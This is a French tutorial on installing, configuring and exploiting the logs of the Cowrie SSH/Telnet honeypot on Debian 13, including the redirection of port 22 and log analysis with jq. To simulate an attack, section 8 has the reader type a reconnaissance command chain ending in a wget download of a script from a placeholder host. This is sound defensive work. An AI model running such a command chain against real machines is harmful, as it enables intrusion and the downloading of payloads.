Déployer Cowrie, honeypot SSH et Telnet, sur Debian 13
Un honeypot SSH montre en quelques heures ce qu’aucune présentation ne rend aussi bien : le volume, la mécanique et la bêtise du bruteforce automatisé. Cowrie fait ça très bien, et se déploie proprement sur Debian 13. Voici la procédure, y compris la partie que tout le monde bâcle, la capture du port 22.
Ce que fait Cowrie
Section intitulée « Ce que fait Cowrie »Cowrie est un honeypot SSH et Telnet à interaction moyenne. Il présente un faux shell UNIX à l’attaquant, accepte des identifiants selon une politique que vous définissez, et enregistre tout :
- couples identifiant / mot de passe testés
- commandes saisies, session par session
- fichiers téléchargés par l’attaquant (
wget,curl), conservés pour analyse - rejeu vidéo de la session (ttylog)
Il ne donne jamais accès à la vraie machine : le système de fichiers est simulé, les commandes sont émulées.
Architecture retenue
Section intitulée « Architecture retenue »/home/cowrie/my-honeypot/ <- repertoire d'etat, autonome├── cowrie-env/ <- venv Python├── etc/cowrie.cfg <- configuration├── etc/userdb.txt <- politique d'authentification└── var/ ├── log/cowrie/ <- cowrie.log + cowrie.json ├── lib/cowrie/downloads/ <- fichiers captures ├── lib/cowrie/tty/ <- enregistrements de session └── run/cowrie.pidDepuis Cowrie 3.0, l’installation par pip est la voie recommandée pour un
opérateur. Le clone Git ne sert plus qu’au développement.
1. Prérequis système
Section intitulée « 1. Prérequis système »Cowrie est en Python pur, mais ses dépendances (cryptography, cffi,
bcrypt) compilent des extensions natives.
sudo apt updatesudo apt install -y python3-venv python3-dev build-essential \ libssl-dev libffi-dev authbindVérification :
grep PRETTY_NAME /etc/os-release # Debian GNU/Linux 13 (trixie)python3 --version # Python 3.13.x2. Utilisateur dédié
Section intitulée « 2. Utilisateur dédié »Cowrie refuse de démarrer en root.
sudo adduser --disabled-password --gecos "" cowriesudo su - cowrie3. Installation
Section intitulée « 3. Installation »Tout le reste se fait en tant qu’utilisateur cowrie.
mkdir ~/my-honeypot && cd ~/my-honeypotpython3 -m venv cowrie-envsource cowrie-env/bin/activatepython -m pip install --upgrade pippython -m pip install cowriepip show cowrie | head -2Résultat au moment du test : cowrie 3.0.13.
Initialisation du répertoire d’état
Section intitulée « Initialisation du répertoire d’état »cowrie initWrote etc/cowrie.cfgCreated var/log/cowrie, var/lib/cowrie, var/lib/cowrie/downloads, var/lib/cowrie/tty, var/run4. Configuration
Section intitulée « 4. Configuration »etc/cowrie.cfg ne contient que les clés qui surchargent les défauts. La
référence complète est dans
cowrie-env/lib/python3.13/site-packages/cowrie/data/etc/cowrie.cfg.dist.
Configuration de départ testée :
[honeypot]hostname = srv-web01
[ssh]enabled = truelisten_endpoints = tcp:2222:interface=0.0.0.0
[telnet]enabled = truelisten_endpoints = tcp:2223:interface=0.0.0.0
[output_jsonlog]enabled = truelogfile = ${honeypot:log_path}/cowrie.jsonLe hostname est ce que l’attaquant verra dans son invite. Choisir quelque
chose de crédible pour l’environnement simulé : srv-web01, nas01, jamais
cowrie ni honeypot.
Ordre de chargement de la configuration, du plus faible au plus fort :
- défauts embarqués dans le paquet
/etc/cowrie/cowrie.cfg./etc/cowrie.cfg./cowrie.cfg
Politique d’authentification
Section intitulée « Politique d’authentification »Sans etc/userdb.txt, Cowrie utilise une base d’exemple qui accepte quasiment
tout. En production on la remplace.
cat > etc/userdb.txt <<'EOF'root:x:!rootroot:x:Trixie2026admin:x:**:x:!*EOFLecture des règles :
| Ligne | Effet |
|---|---|
root:x:!root |
refuse explicitement root / root |
root:x:Trixie2026 |
accepte ce mot de passe précis |
admin:x:* |
accepte admin avec n’importe quel mot de passe |
*:x:!* |
refuse tout le reste |
Le ! est une négation, * un joker, et la première règle qui correspond
l’emporte. Test réel après cowrie restart :
$ ssh -p 2222 [email protected] # mot de passe Trixie2026root$ ssh -p 2222 [email protected] # mot de passe root[email protected]: Permission denied (publickey,password).Alternative pour laisser passer un attaquant après quelques essais, ce qui est plus réaliste face à un bruteforce :
[honeypot]auth_class = AuthRandomauth_class_parameters = 2, 5, 105. Démarrage
Section intitulée « 5. Démarrage »cd ~/my-honeypotsource cowrie-env/bin/activatecowrie startcowrie statusSortie attendue : cowrie is running (PID: 7672).
Les clés d’hôte SSH sont générées au premier démarrage. Journal de démarrage :
[cowrie.ssh.factory.CowrieSSHFactory#info] Ready to accept SSH connections[cowrie.telnet.factory.HoneyPotTelnetFactory#info] Ready to accept Telnet connectionsCommandes de service : cowrie start | stop | restart | status | force-stop.
Toutes s’exécutent depuis le répertoire d’état. Un cowrie start lancé ailleurs
échoue avec ERROR: cowrie is not initialized.
6. Service systemd
Section intitulée « 6. Service systemd »Pour un démarrage automatique, en root :
[Unit]Description=Cowrie SSH/Telnet HoneypotAfter=network-online.targetWants=network-online.target
[Service]Type=simpleUser=cowrieGroup=cowrieWorkingDirectory=/home/cowrie/my-honeypotExecStart=/home/cowrie/my-honeypot/cowrie-env/bin/cowrie start -nRestart=on-failureRestartSec=10NoNewPrivileges=truePrivateTmp=trueProtectSystem=strictProtectHome=falseReadWritePaths=/home/cowrie/my-honeypotProtectKernelTunables=trueProtectControlGroups=trueRestrictSUIDSGID=true
[Install]WantedBy=multi-user.targetsudo systemctl daemon-reloadsudo systemctl enable --now cowriesudo systemctl status cowrieLe -n maintient Cowrie au premier plan, ce qu’attend Type=simple. Sans lui,
systemd considère le service comme terminé aussitôt.
7. Écouter sur le port 22
Section intitulée « 7. Écouter sur le port 22 »L’intérêt d’un honeypot SSH est de capter le trafic du port 22. Deux étapes :
déplacer le vrai sshd, puis exposer Cowrie.
D’abord, sécuriser son propre accès. Dans /etc/ssh/sshd_config :
Port 62222sudo systemctl restart ssh# ouvrir une NOUVELLE session sur 62222 avant de fermer la couranteOption A, redirection nftables (recommandé sur Debian 13)
Section intitulée « Option A, redirection nftables (recommandé sur Debian 13) »sudo nft add table ip natsudo nft add chain ip nat prerouting '{ type nat hook prerouting priority -100 ; }'sudo nft add rule ip nat prerouting tcp dport 22 redirect to :2222sudo nft add rule ip nat prerouting tcp dport 23 redirect to :2223sudo nft list rulesetPersistance :
sudo apt install -y nftablessudo sh -c 'nft list ruleset > /etc/nftables.conf'sudo systemctl enable --now nftablesÉquivalent iptables si vous restez sur l’ancienne pile :
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222Option B, authbind
Section intitulée « Option B, authbind »Cowrie écoute directement sur 22 tout en restant non privilégié.
sudo touch /etc/authbind/byport/22sudo chown cowrie:cowrie /etc/authbind/byport/22sudo chmod 770 /etc/authbind/byport/22[ssh]listen_endpoints = tcp:22:interface=0.0.0.0AUTHBIND_ENABLED=yes cowrie startOption C, setcap
Section intitulée « Option C, setcap »sudo setcap cap_net_bind_service=+ep /usr/bin/python3Déconseillé : la capacité est accordée à l’interpréteur Python du système entier, pas au seul honeypot.
8. Vérification et exploitation des traces
Section intitulée « 8. Vérification et exploitation des traces »Simuler une attaque depuis une autre machine :
ssh -p 2222 root@IP_DU_HONEYPOT# puis dans le faux shell :uname -a; id; ls /; wget http://example.com/x.shJournal JSON
Section intitulée « Journal JSON »tail -f var/log/cowrie/cowrie.json | jq -c '{eventid, src_ip, username, password, input}'Séquence réellement observée pendant le test :
cowrie.session.connectcowrie.client.versioncowrie.client.kexcowrie.login.success root / P@ssw0rdcowrie.command.input uname -a; id; ls /; wget http://example.com/x.shcowrie.session.file_downloadcowrie.session.closedQuelques extractions utiles :
# top 20 des mots de passe testesjq -r 'select(.eventid|startswith("cowrie.login")) | .password' var/log/cowrie/cowrie.json \ | sort | uniq -c | sort -rn | head -20
# top des IP sourcesjq -r '.src_ip' var/log/cowrie/cowrie.json | sort | uniq -c | sort -rn | head
# toutes les commandes saisiesjq -r 'select(.eventid=="cowrie.command.input") | .input' var/log/cowrie/cowrie.jsonFichiers capturés
Section intitulée « Fichiers capturés »Les téléchargements sont stockés dans var/lib/cowrie/downloads/, nommés par
leur empreinte SHA-256, ce qui dédoublonne automatiquement les charges utiles
récurrentes.
ls -l var/lib/cowrie/downloads/file var/lib/cowrie/downloads/*Le nom du fichier est directement l’IOC à soumettre à VirusTotal ou à votre MISP.
Rejeu de session
Section intitulée « Rejeu de session »source cowrie-env/bin/activateplaylog var/lib/cowrie/tty/<hash>Le rejeu restitue la frappe de l’attaquant en temps réel, y compris ses fautes de frappe et ses hésitations. C’est le support le plus parlant en formation ou en restitution client.
9. Plugins de sortie
Section intitulée « 9. Plugins de sortie »Chaque section [output_*] de cowrie.cfg.dist est un connecteur. Les plus
utilisés :
| Plugin | Usage |
|---|---|
output_jsonlog |
fichier JSON local, base de tout le reste |
output_mysql / output_elasticsearch |
stockage et recherche |
output_splunk, output_graylog |
SIEM |
output_virustotal |
soumission automatique des binaires capturés |
output_abuseipdb |
signalement des IP sources |
output_discord, output_slack |
alerte temps réel |
Activer un plugin se limite à recopier sa section depuis cowrie.cfg.dist vers
etc/cowrie.cfg, mettre enabled = true et renseigner les paramètres.
10. Crédibilité du leurre
Section intitulée « 10. Crédibilité du leurre »Un honeypot détecté en trois commandes ne collecte rien d’intéressant. Points à traiter :
hostnameet bannière SSH cohérents avec un vrai serveur de votre parc- contenu de
honeyfs/personnalisé :/etc/passwd,/etc/hosts,/etc/motd - sorties statiques dans
txtcmds/pour les commandes non émulées - uptime et charge plausibles
- ne pas laisser le port 2222 visible en parallèle du 22 redirigé, c’est la signature Cowrie la plus évidente
11. Dépannage
Section intitulée « 11. Dépannage »| Symptôme | Cause | Correction |
|---|---|---|
externally-managed-environment |
PEP 668 sur Debian 13 | installer dans un venv, jamais --break-system-packages |
ERROR: cowrie is not initialized |
mauvais répertoire courant | cd dans le répertoire d’état, ou cowrie init |
| Cowrie refuse de démarrer en root | protection intégrée | utiliser le compte cowrie |
Échec de compilation de cryptography |
en-têtes manquants | apt install libssl-dev libffi-dev python3-dev build-essential |
| Aucune connexion sur le port 22 | redirection non appliquée ou testée en loopback | tester depuis une autre machine, nft list ruleset |
Address already in use |
sshd ou une instance Cowrie occupe le port |
ss -tlnp, puis cowrie force-stop |
| Le service systemd s’arrête aussitôt | -n absent de ExecStart |
ajouter -n |
cowrie init en erreur |
config existante | éditer etc/cowrie.cfg directement |
12. Maintenance
Section intitulée « 12. Maintenance »source cowrie-env/bin/activatepip install --upgrade cowriecowrie restartRotation des journaux, dans /etc/logrotate.d/cowrie :
/home/cowrie/my-honeypot/var/log/cowrie/*.log/home/cowrie/my-honeypot/var/log/cowrie/*.json { daily rotate 30 missingok notifempty compress delaycompress copytruncate su cowrie cowrie}Surveiller la volumétrie : var/lib/cowrie/downloads/ peut grossir vite sur une
IP publique exposée.
Références
Section intitulée « Références »- Dépôt Cowrie : github.com/cowrie/cowrie
- Documentation : docs.cowrie.org
- PEP 668 : peps.python.org/pep-0668